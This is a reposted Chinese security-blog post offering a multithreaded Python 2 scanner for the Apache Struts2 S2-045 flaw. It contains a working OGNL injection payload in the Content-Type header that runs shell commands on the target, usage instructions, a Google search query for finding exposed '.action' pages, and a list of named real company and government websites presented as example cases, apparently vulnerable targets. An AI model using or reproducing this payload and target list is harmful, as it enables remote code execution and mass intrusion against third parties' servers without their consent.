Python

st2-045多线程批量验证poc附案例

字号+ 作者:SSS论坛 来源:转载 2017-03-22 17:04 我要评论( )

import requestsimport Queueimport threadingimport sysdef poc(): headers={ User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 ......

import requests

import Queue

import threading

import sys





def poc():

    headers={

        "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",

        "Content-Type":"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo Wsbug').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

    }

    while not Q.empty():

        url=Q.get()

        try:

            xy = requests.get(url=url,headers=headers,timeout=5).text

            if 'Wsbug' in xy:

                print url

                with open('OK.txt','a+') as f2:

                     f2.write(url+'\n')

        except:

            pass





if __name__ == '__main__':

    Q = Queue.Queue()

    with open(sys.argv[1]) as f:

        for i in f:

            Q.put(i)

    for i in xrange(20):

        x=threading.Thread(target=poc)

        x.start()





使用方法:
本帖隐藏的内容
st2.py x.txt



如:
本帖隐藏的内容
st2.py url.txt



谷歌关键字:
本帖隐藏的内容
filetype:action(仅限于谷歌,百度不行)



一些案例:
本帖隐藏的内容
http://www.artemide.it/privacy.action

http://www.artemide.com/note.action

https://www.centrepompidou.fr/cpv/agenda.action

http://www.seabourn.com/legalAndPrivacy/Main.action

http://peacekeeper.futuremark.com/faq.action

https://www.hollandamerica.com/legalAndPrivacy/Main.action

https://www.lendingclub.com/browse/browse.action

https://www.cargurus.com/Cars/instantMarketValue.action

https://www.eastdane.com/actions/giftCertificatePageAction.action

http://quotes.esignal.com/esignalprod/search.action

http://www.adnrd.ae/home.action?lang=2

https://doda.jp/DodaFront/View/NewJobList.action

http://www.bitpipe.com/data/loadAsset.action?resId=1205174469_52

http://www.nature.com/ecommerce/subscribe.action?productId=NPHYS

http://www.meteogalicia.gal/web/ ... lidadesIndex.action

http://www.shopmoroso.com/eb/welcome.action

http://bitpipe.computerweekly.co ... esId=1442813582_705

https://www.gpo.gov/fdsys/browse ... ?collectionCode=CRI

本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Python/618.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
网友点评
暂时未开启评论功能~